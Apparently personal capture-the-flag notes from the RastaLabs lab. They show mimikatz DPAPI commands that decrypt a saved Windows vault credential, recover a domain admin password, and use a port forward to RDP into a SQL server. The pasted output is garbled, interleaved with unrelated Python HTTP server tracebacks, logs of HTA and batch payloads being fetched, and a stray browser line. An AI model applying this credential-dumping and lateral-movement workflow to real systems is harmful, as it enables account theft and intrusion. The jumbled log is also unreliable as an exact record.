

On enumeration on WS02, found vault is installed,
so we can dump creds from it

reference ----> <https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/>

Get-ChildItem C:\Users\epugh\AppData\Local\Microsoft\Credentials\ -force

```
BaseHTTPServer.test(HandlerClass, ServerClass)
PS C:\users\epugh\gopi> Get-ChildItem C:\Users\epugh\AppData\Local\Microsoft\Credentials\ -force
Get-ChildItem C:\Users\epugh\AppData\Local\Microsoft\Credentials\ -force
File "/usr/lib/python2.7/SocketServer.py", line 231, in serve_forever
    poll_interval)
Directory: C:\Users\epugh\AppData\Local\Microsoft\Credentials
return func(*args)
KeyboardInterrupt
Mode LastWriteTime Length Name
----
-a-hs- 27/10/2017 14:30 436 936A68B5AC87C545C4A22D1AF264C8
Try Again E9
```

uploaded mimikatz.exe and execute cmds,

sekurlsa::dpapi ----> get the master key from here

dpapi::cred /in:C:\users\epugh\AppData\Local\Microsoft\Credentials\936A68B5AC87C545C4A22D1AF264C8E9

dpapi::cred /in:C:\users\epugh\AppData\Local\Microsoft\Credentials\936A68B5AC87C545C4A22D1AF264C8E9
/masterkey:40fc84e4d4f44f01c8d4fb8dccc8da37bbada94ecb374e813c46b03e0cd35fd4d285b5826a411fc6d3cf382d4f3aa6010ea3cae8a8a11fd4b375908e6ca17067

```

C:\Users\epugh\gopi>mimikatz.exe
mimikatz.exe
10.10.110.254 - - [04/Jul/2018 13:37:35] "GET /Launcher.hta HTTP/1.1" 200 -
10.10.110.254 - - [04/Jul/2018 13:37:44] "GET /Launcher.hta HTTP/1.1" 200 -
10.10.110.254 - - [04/Jul/2018 17:20:32] "GET /emp.bat HTTP/1.1" 200 -
10.10.110.254 - - [04/Jul/2018 17:20:32] "GET /emp.bat HTTP/1.1" 200 -
##### mimikatz 2.1.1 (x64) built on Dec 19 2017 01:16:28
## ^ ## "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## main > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX (vincent.letoux@gmail.com )
'#####' exec cod> http://pingcastle.com / http://mysmartlogon.com ***/
File "/usr/lib/python2.7/SimpleHTTPServer.py", line 235, in <module>
mimikatz # sekurlsa::dpapi
File "/usr/lib/python2.7/SimpleHTTPServer.py", line 231, in test
Authentication Id : 0 ; 210336 (00000000:000335a0)
Session : Interactive from 1
User Name : epugh
Domain : RLAB
Logon Server : DC01
Logon Time : 29/07/2018 17:22:16
SID : S-1-5-21-1396373213-2872852198-2033860859-1151
[00000000]
* GUID : {37fe87d9-4d2d-4dc6-aa54-1a011f267940}
* Time : 30/07/2018 17:04:54
* MasterKey : 40fc84e4d4f44f01c8d4fb8dccc8da37bbada94ecb374e813c46b03e0cd35fd4d285b5826a411fc6d3cf382d4f3aa6010ea3cae8a8a11fd4b375908e6ca17067
* sha1(key) : fcfcfa4cf4f4a89ae9375bc6edd9a15b2c876cea
☐ Report errors like this to help Mozilla identify and block malicious sites
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 29/07/2018 17:21:56
SID : S-1-5-19

```

```

encrypting Credential:
* volatile cache: GUID:{37fe87d9-4d2d-4dc6-aa54-1a011f267940};KeyHas
* masterkey : 40fc84e4d4f44f01c8d4fb8dccc8da37bbada94ecb374e813d
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000ec - 236
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 27/10/2017 13:30:02
unkFlagsOrSize : 00000030 - 48
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=TERMSRV/sql01.rastalabs.local
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : RLAB\epugh_adm
CredentialBlob : IReallyH8LongPasswords!
Attributes : 0

```

UserName : RLAB\epugh_adm
 CredentialBlob : IReallyH8LongPasswords!

portfwd add -L 10.10.14.83 -r 10.10.122.15 -l 3389 -p 3389

install remmina and import the sql01.rdp and change the host from sql01.rastalabs.local to 10.10.14.83 then export to .rdp file

xfreerdp sql.rdp /u:epugh_adm /d:rastalabs.local

RASTA{c00k1n6_w17h_645_n0w}